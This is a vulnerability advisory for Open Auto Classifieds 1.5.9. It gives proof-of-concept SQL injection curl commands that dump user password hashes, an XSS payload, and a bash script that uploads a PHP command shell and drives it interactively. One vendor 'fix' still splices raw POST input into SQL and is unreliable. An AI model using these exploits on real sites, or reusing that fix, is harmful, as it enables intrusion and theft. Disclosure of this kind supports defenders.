Vulnerability Description ---------------------------------------------------------------------------------------------- Open Auto Classifieds is a vehicle listings manager that is popular with car dealer websites. It's written in PHP + MySQL and is available free at http://openautoclassifieds.com/. Multiple vulnerabilities exist in Open Auto Classifieds. These vulnerabilities can be exploited to allow access to read any information from the database, attack web browser clients through the web site, disclose the file path of the application and execute any arbitrary command on the web server. Other security issues exist such as the registration form asks for a password once, not twice for verification. 4. Vulnerable packages ---------------------------------------------------------------------------------------------- Open Auto Classifieds versions <= 1.5.9 5.

Brandon from Open Auto Classifieds was very helpful with his fast respsonse. 7. Credits ---------------------------------------------------------------------------------------------- These vulnerabilities were discovered and researched by Andrew Horton (urbanadventurer) from MorningStar Security. 8. Technical Description / Proof of Concept ---------------------------------------------------------------------------------------------- 8.1 Introduction Open Auto Classifieds powers many car dealer websites. No advisories for this software have been released before. Multiple SQL injection, File upload, XSS (Cross Site Scripting) and Filepath disclosure vulnerabilities were found in version 1.5.9. 8.3 SQL Injection in xml_zone_data.php ---------------------------------------------------------------------------------------------- Severity: High Allows arbitrary SELECT SQL injection to the database. 8.3.1 Proof of concept exploit $ curl "http://test/openauto/xml_zone_data.php?filter=1%20union%20select%20concat(0x0a,user,0x3a,pass,0x3a,0x0a)%20from%20users" | grep ":" | sort -u This will give you the usernames and passwords in a standard unix passwd format. Note that the raw MD5 hashes are salted with a suffix of _a*" 8.3.2 Fix Vendor note: Improper int check for $filter Fix: Change line 31 of xml_zone_data.php to "$country_id = (int)$filter;" I have tested against your method and no longer have the specific leak. 8.4 SQL Injection in search.php and listings.php ---------------------------------------------------------------------------------------------- Severity: High Allows for blind sql injection attacks on the start_zip parameter. 8.4.1 Proof of concept exploit $ curl -d "min-price=&max_price=&start_zip=BENCHMARK(1000000,MD5(1))&zip_range=10000&state=Illinois&submit=Search&vehicle_type=&make=&model=&year=&listing_condition=&trans=&drive_train=&sellerid=" http://test/openauto/listings.php % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1508 100 1508 0 0 13220 0 --:--:-- --:--:-- --:--:-- 0 admin:d84a2130b6b52449c62c6d1b2474b3c9: abcdef2:244cb02b9766b05428ccbd22115668ce: abcdef:2fa7971a36b0efe65bf6acfc30f54c48: blahblah:7f7dcf3819834d82d0ece5fd7397ddb9: 8.4.2 Fix Vendor note: It seems the cause of this was having the zip field type as a varchar in the db and in the listings.php I was checking as a dissimilar type thus allowing the issue. After making the below change I was unable to reproduce the timing issue. FIX: Change line 109 in the listings.php to this $addOnSQL.="zip = '" . $_POST["start_zip"] . "'"; 8.5 Insecure File Upload in useredit.php ---------------------------------------------------------------------------------------------- Severity: Critical Leads to arbitrary command execution A registered user can upload a malicious profile image. The program checks if an extension after the first dot in the filename is in a whitelist. This means that a file nameed, lala.jpg.php would be accepted. This issue also affects uploading images in the add and edit listings pages available to admin users. The issue is located in the checkAllowedExt() function. 8.5.1 Proof of concept exploit 1. Register a user at /register.php 2. Upload a PHP script as a profile picture named blah.jpg.php 3. Go to the member.php page and view the source for the thumbnail URL eg. abcdef 4. Go to http://test/openauto/images/users/USERNUMBERblah.jpg.php to access the php script where USER is your username and NUMBER is the number in the thumbnail filename. eg. http://test/openauto/images/users/abcdef2638blah.jpg.php?cmd=id #!/bin/bash # File Upload exploit for Open Auto Classifieds version <= 1.5.9 # # Researched by Andrew Horton (urbanadventurer) # (c) MorningStar Security, 2009 http://www.morningstarsecurity.com/ if [ -z "$1" ]; then echo "Usage: $0 " echo "File upload proof of concept exploit for Open Auto Classifieds <= v 1.5.9" echo "This will create a user with the name 'hacker' and pass '31337' then upload a command execution shell." echo -e "eg. $0 http://www.myweb.com/cardealer/\n" exit fi target="$1" echo "" > evilimage.jpg.php echo "Registering user" curl -c cookiejar -d "user=hacker&pass=31337&email=foo%40bar.com&company_name=&first_name=Hack&last_name=Errr&phone=123+123+1234&alt_phone=&fax=&country=1&state=Badakhshan&city=&address=&zip=&submit=Submit&agree=agree" "$target/register.php" >/dev/null 2>&1 echo "Login" curl -b cookiejar -c cookiejar -d "user=hacker&pass=31337&submit=Login" "$target/login.php" >/dev/null 2>&1 echo "Upload command shell as user image" curl -b cookiejar -c cookiejar -F "image=@evilimage.jpg.php" -F "max=524288" -F "addimage=Submit" "$target/useredit.php" >/dev/null 2>&1 CODE=`curl -b cookiejar -c cookiejar "$target/member.php" 2>/dev/null | grep _thumb.jpg | egrep -o "[0-9]{4}"` rm -f cookiejar evilimage.jpg.php echo "Command shell found at : $target/images/users/hacker${CODE}evilimage.jpg.php?cmd=id" curl "$target/images/users/hacker${CODE}evilimage.jpg.php?cmd=id" 2>/dev/null while read cmd; do curl -d "cmd=$cmd" "$target/images/users/hacker${CODE}evilimage.jpg.php" 2>/dev/null done 8.5.2 Fix Vendor note: Replace lines 921 and 922 of the function.php with this line of code "$ext = pathinfo($temp, PATHINFO_EXTENSION);" Also add an additional check in the uploadUserListImage and UploadListImage just above the call to checkImageSize function if (!getimagesize($tmpfile)) return false; MorningStar note: checkImageSize can't be relied on as a fix. The pathinfo() should be fine. 8.6 Cross Site Scripting in listings.php ---------------------------------------------------------------------------------------------- Severity: Medium 8.6.1 Proof of concept exploit Send a user to url like http://test/openauto/listings.php?next=1%3Cscript%3Ealert(0)%3C/script%3E 8.6.2 Fix Vendor note: I seem to have stopped the alert box by adding an int check to the getCurrentItem function on line 204 in the SmartyPaginate.class.php file. The smarty class seems to be the root cause of the issue. function getCurrentItem($id = 'default') { return (int)$_SESSION['SmartyPaginate'][$id]['current_item']; } There may be more issues regarding similar Attack methods but for now this one seems it has a fix. I have also notified Monte Ohrt of the Smarty development team regarding this issue. 8.7 File path disclosure in paycalc.php ---------------------------------------------------------------------------------------------- Severity: Low 8.7.1 Proof of concept exploit Exploit by setting interest to 0 to see the following output: Warning: Division by zero in /var/www/test/openauto/paycalc.php on line 109 8.7.2 Fix Vendor note: Replace line 104 of the paycalc.php with the following code. if (isset($_POST["interest_rate"]) && $_POST["interest_rate"] == 0) { $annual_interest = 10; } else { $annual_interest = isset($_POST["interest_rate"]) ? $_POST["interest_rate"] : 10; } 8.8 File path disclosure in admin/templates/templates_c/%%62620^6206D997%%admin.tpl.php ---------------------------------------------------------------------------------------------- Severity: Low 8.8.1 Proof of concept exploit To access this url, encode it first. $ curl http://test/openauto/admin/templates/templates_c/%25%25%36%32%5e%36%32%30%5e%36%32%30%36%44%39%39%37%25%25%61%64%6d%69%6e%2e%74%70%6c%2e%70%68%70 Warning: require_once(SMARTY_CORE_DIRcore.load_plugins.php) [function.require-once]: failed to open stream: No such file or directory in /var/www/test/openauto/admin/templates/templates_c/%%62620^6206D997%%admin.tpl.php on line 7 Fatal error: require_once() [function.require]: Failed opening required 'SMARTY_CORE_DIRcore.load_plugins.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/test/openauto/admin/templates/templates_c/%%62620^6206D997%%admin.tpl.php on line 7 8.8.2 Fix Vendor note: The v1.6.0 update does not contain the fix for the admin.tpl path disclosure issue. That will be released in v1.6.1. 9.
